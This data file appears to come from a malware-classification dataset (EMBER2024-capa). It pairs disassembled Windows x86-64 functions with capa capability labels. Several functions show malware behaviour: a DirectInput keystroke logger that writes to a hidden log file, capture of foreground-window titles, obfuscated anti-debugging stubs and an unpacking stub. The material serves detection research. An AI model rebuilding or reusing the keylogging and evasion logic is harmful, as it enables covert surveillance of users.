joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800108b0
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
mov ecx, dword [rcx + 0x68]
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec rcx
mov r11d, dword [rax + r8 + 0x20]
lea r9, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [r9 + 0x10]
not rcx
or r11, r15
and rcx, r11
test eax, eax
jne 0x180010910
mov edx, dword [r9 + 0x24]
test dl, 0x40
je 0x180010908
mov eax, dword [r8 + 0x20]
jmp 0x180010910
test dl, dl
jns 0x180010910
mov eax, dword [r8 + 0x24]
mov edx, dword [r9 + 0x24]
mov ebx, 1
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov r10d, eax
mov r14d, ebx
lea rdi, [0x180043c30]
mov qword [rsp + 0x68], r13
cmp bx, word [r8 + 6]
jae 0x180010a87
lea rbx, [r9 + 0x4c]
nop word [rax + rax]
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x180010983
mov r9d, dword [rbx]
test r9b, 0x40
je 0x18001097a
mov eax, dword [r8 + 0x20]
jmp 0x180010983
test r9b, r9b
jns 0x180010983
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp rcx, rdi
je 0x180010a41
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x180010a41
test r10, r10
je 0x180010a34
bt edx, 0x19
jae 0x1800109e7
cmp r11, rcx
jne 0x180010a34
cmp dword [r8 + 0x38], esi
je 0x1800109c7
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x180010a34
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x180010a62
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x180043c30]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x180010a1f
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180010aac
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x180010a62
mov eax, dword [rbx]
bt eax, 0x19
jae 0x180010a53
bt edx, 0x19
jae 0x180010a53
or edx, eax
jmp 0x180010a59
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x180010950
mov ebx, 1
lea rdi, [0x180043c30]
test r10, r10
je 0x180010af6
bt edx, 0x19
jae 0x180010ab0
cmp r11, rcx
jne 0x180010af6
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x180010af6
xor eax, eax
jmp 0x180010af8
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
mov r8d, dword [rdi + rcx*4]
bt edx, 0x1a
jae 0x180010ae1
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180010aac
mov eax, ebx
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
Function at 0x180011a80
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x180011ac4
cmp qword [0x180046188], 0
jne 0x180011ac4
xor eax, eax
lea r8, [0x1800114f0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180046188], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180011ad0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x1800114f0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x180011b20
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x180045c70]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180046750], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x180011beb
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x180046750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x180046198]
lea r8, [0x1800335d8]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x180011c24
xor al, al
jmp 0x180011d01
mov rcx, qword [0x180046198]
lea r8, [0x1800461a0]
lea rdx, [0x1800335f8]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180011c1d
mov rcx, qword [0x1800461a0]
lea rdx, [0x1800335b8]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x180011c1d
mov rcx, qword [0x1800461a0]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180011c1d
mov rcx, qword [0x1800461a0]
mov dword [rsp + 0x40], socket
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x180011c1d
mov rcx, qword [0x1800461a0]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
js 0x180011c1d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, socket
mov dword [0x180046f98], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180011cf5
mov dword [0x18004675c], r12d
cmp ax, 1
jne 0x180011cff
mov dword [0x18004675c], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180014c00
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180011d30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x180046750]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x180045c70]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180011de1
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180046750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180011df0
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x180046770]
xor edx, edx
mov r8d, 0x800
call fcn.180017ae0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x180046770]
mov rcx, rax
mov r8d, 0x800
mov qword [0x180046768], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.180017ae0
mov r11, qword [0x180046760]
cmp qword [0x180046768], r11
je 0x180011f0c
lea rcx, [0x180046770]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x180011efe
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x180046770]
lea rdx, [0x180034a70]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.180011d30
lea rcx, [0x180046770]
xor edx, edx
mov r8d, 0x800
call fcn.180017ae0
mov ebx, 1
mov rcx, qword [0x180046768]
mov qword [0x180046760], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.180014c00
add rsp, 0x870
pop rbx
ret
Function at 0x18001b783
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18003ca90]
jne 0x180014c1a
rol rcx, 0x10
test cx, 0xffff
jne 0x180014c16
repz ret
ror rcx, 0x10
jmp 0x18001b6dc
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180044770]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180044868]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18001b761
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180044770]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18001b783
mov rax, qword [rsp + 0x88]
mov qword [0x180044868], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180044808], rax
mov rax, qword [0x180044868]
mov qword [0x1800446e0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1800447f0], rax
mov dword [0x1800446d0], 0xc0000409
mov dword [0x1800446d4], 1
mov rax, qword [0x18003ca90]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18003ca98]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180044768], eax
mov ecx, 1
call fcn.1800266a4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180030bd8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180044768], 0
jne 0x18001b80a
mov ecx, 1
call fcn.1800266a4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1800267b4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18001dd70
xor ebx, ebx
cmp qword [0x1800457c0], rbx
mov rdi, rax
jne 0x1800268c7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18002699e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18002699e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1800457c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1800457c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1800457d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1800457e0], rax
test rax, rax
je 0x1800268be
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1800457d8], rax
jmp 0x1800268ce
mov rax, qword [0x1800457d8]
jmp 0x1800268d5
mov rax, qword [0x1800457d8]
mov r11, qword [0x1800457e0]
cmp rax, rdi
je 0x18002693c
cmp r11, rdi
je 0x18002693c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1800457e0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18002693c
test rax, rax
je 0x18002693c
call rsi
test rax, rax
je 0x180026936
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180026936
test byte [rsp + 0x40], 1
jne 0x18002693c
bts ebp, 0x15
jmp 0x18002697c
mov rcx, qword [0x1800457c8]
cmp rcx, rdi
je 0x18002697c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18002697c
call rax
mov rbx, rax
test rax, rax
je 0x18002697c
mov rcx, qword [0x1800457d0]
cmp rcx, rdi
je 0x18002697c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18002697c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1800457c0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18002699e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1800269a0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180014c00
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1401d5fbf
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov cl, byte [r9 + rdi - 0x34e0c]
call fcn.1401dccb0

Function at 0x1401e1eb7
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg dil
movzx ecx, dl
movsxd rbp, ebp
jb 0x14022ac1c
push rax
sar r10d, 0xc3
add rsi, rbp
add r10d, r10d
mov dx, word [r9 + rax*2 - 0xde6c]
not r11b
call fcn.14023db46

Function at 0x1401f8026
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov qword [rsp], rax
shl eax, 0x8f
xor r8d, 0xbf90db2c
not r8d
movzx r9d, al
xchg al, sil
bswap r8d
push rdx
mov qword [rsp + rax - 0x5c9b001c], r10
xadd dword [rsp + r9*8 + 0xc], eax
mov qword [rsp + rax*4 + 4], r9
xor dword [rsp + rax + 0x15], r8d
call fcn.140243a98

Function at 0x1401fa37f
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop r11
pop r8
lea rax, [r10 + r10*4 + 0x67b6e9ba]
js 0x1401f806c

Function at 0x1402339ba
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor dword [rsp + r10*4 + 8], edi
xor rdx, r11
jne 0x140237990
mov dword [r9 + r10 - 0x6aa53d92], ebp
mov qword [rsp + r10 - 0x6aa53d7a], r10
movsx ecx, r10b
pop rbp
add rbp, 0x75006
jmp rbp
add rsi, r10
movzx ecx, r11w
sub edi, 0x12aa6a31
mov r10, r9
lea r9, [r9 + rax*2 - 0x13a06]
xadd r11w, ax
mov dword [rax + r9 - 0x5c55], r10d
lea r11, [rax + rcx*4 + 0xc1d609c]
call fcn.14020c056
sub r11d, r11d
movzx edi, r11b
mov eax, dword [r8 + r11*4 - 4]
not r10b
lea r8, [r8 + r11*4 - 4]
inc cl
jle 0x1401e0290
xor eax, ebx
jmp 0x1402402b7

Function at 0x14023ebf1
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc r10d
mov qword [rsp + rdi - 0x80000000], rdx
bswap r10d
xor r10d, 0x1497e8a7
sub r10d, 0x113eecab
call fcn.14024142c
mov r11d, 0xe28773a5
movsx r8d, r11b
jmp 0x1401f8079
Function at 0x140005440
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140004fc0
movzx eax, al
test eax, eax
jne 0x140005460
mov ecx, 7
call fcn.1400060f0
nop
mov byte [rsp + 0x20], 0
call fcn.140004df0
mov byte [rsp + 0x21], al
cmp dword [0x1400157f0], 1
jne 0x140005484
mov ecx, 7
call fcn.1400060f0
nop
jmp 0x1400054dc
cmp dword [0x1400157f0], 0
jne 0x1400054d7
mov dword [0x1400157f0], 1
lea rdx, [0x14000b6e0]
lea rcx, [0x14000b6a8]
call sub.ucrtbased.dll__initterm_e
test eax, eax
je 0x1400054b8
mov eax, 0xff
jmp 0x1400055e1
lea rdx, [0x14000b6a0]
lea rcx, [0x14000b678]
call sub.ucrtbased.dll__initterm
mov dword [0x1400157f0], 2
jmp 0x1400054dc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400051b0
call fcn.140006b70
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140005539
mov rcx, qword [rsp + 0x30]
call fcn.140005120
movzx eax, al
test eax, eax
je 0x140005539
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14000b650]
nop
call fcn.140006b80
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14000556d
mov rcx, qword [rsp + 0x38]
call fcn.140005120
movzx eax, al
test eax, eax
je 0x14000556d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call sub.ucrtbased.dll__register_thread_local_exe_atexit_callback
nop
call fcn.1400055f0
mov dword [rsp + 0x28], eax
call fcn.140006310
movzx eax, al
test eax, eax
jne 0x14000558c
mov ecx, dword [rsp + 0x28]
call sub.ucrtbased.dll_exit
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14000559b
call sub.ucrtbased.dll__cexit
nop
xor edx, edx
mov cl, 1
call fcn.1400051e0
mov eax, dword [rsp + 0x28]
jmp 0x1400055e1
add rsp, 0x68
ret
Function at 0x1400091d0
Capabilities:
Capture process snapshot data
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
lea rdi, [rsp + 0x20]
mov ecx, 8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov r9d, 8
lea r8, [rsp + 0x28]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_PssQuerySnapshot
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jne 0x140009237
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call sub.KERNEL32.dll_PssFreeSnapshot
nop
mov rcx, rsp
lea rdx, [0x14000f100]
call fcn.14000a4d0
add rsp, 0x40
pop rdi
ret

Function at 0x1400099b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
lea rdi, [rsp + 0x20]
mov ecx, 0x10
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x48], 0
xor edx, edx
lea rcx, [rsp + 0x28]
call fcn.140007db0
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140009a94
mov eax, dword [rsp + 0x34]
shl rax, 1
mov r9d, 0x2cb
lea r8, str.D:_a_work1_s_src_vctools_asan_vcasan_vcasan.cpp
mov edx, 2
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__malloc_dbg]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140007db0
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.1400082c0
lea rcx, [rsp + 0x40]
call fcn.1400081f0
nop
lea rcx, [rsp + 0x28]
call fcn.140009ed0
mov r8d, dword [rsp + 0x34]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov eax, eax
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x34]
dec eax
mov eax, eax
cmp qword [rsp + 0x38], rax
je 0x140009a94
lea rcx, [rsp + 0x28]
call fcn.140009f10
nop
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call fcn.140007d80
mov eax, dword [rsp + 0x48]
or eax, 1
mov dword [rsp + 0x48], eax
lea rcx, [rsp + 0x28]
call fcn.1400081f0
mov rax, qword [rsp + 0x70]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x14000f090]
call fcn.14000a4d0
mov rax, rdi
add rsp, 0x60
pop rdi
ret
Function at 0x140005918
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005962
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005962
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005962
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005962
cmp dword [rcx + 0x84], 0xe
jbe 0x140005962
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005964
xor al, al
add rsp, 0x28
ret
Function at 0x141ce8bf0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x141ce8bfd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x141ce8c0d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x141ce8bf5
lea eax, [rcx + 1]
jmp 0x141ce8c1b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x141ce8c2e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x141ce8c14
sub eax, 3
jb 0x141ce8c4e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x141ce8c9d
sar eax, 1
movsxd rbp, eax
jb 0x141ce8c84
jmp 0x141ce8c5c
add ebx, ebx
jne 0x141ce8c5a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x141ce8c84
inc ecx
add ebx, ebx
jne 0x141ce8c6a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x141ce8c84
call r11
adc ecx, ecx
add ebx, ebx
jne 0x141ce8c7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x141ce8c6c
add ecx, 2
jmp 0x141ce8c89
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.141ce8bb2
jmp 0x141ce8bfd
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1ce4000]
mov eax, dword [rdi]
or eax, eax
je 0x141ce8cf9
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1ce849c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x141ce8ca9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x141ce8cf3
mov qword [rbx], rax
add rbx, 8
jmp 0x141ce8cc9
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x141ce8d3d
cmp al, 0xef
ja 0x141ce8d25
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x141ce8d05
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x141ce8d14
mov eax, dword [rdi]
add rdi, 4
jmp 0x141ce8d14
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.141ce8dbc], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.141ce8dbc
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x141ce8dac
sub rsp, 0xffffffffffffff80
jmp 0x1400010f6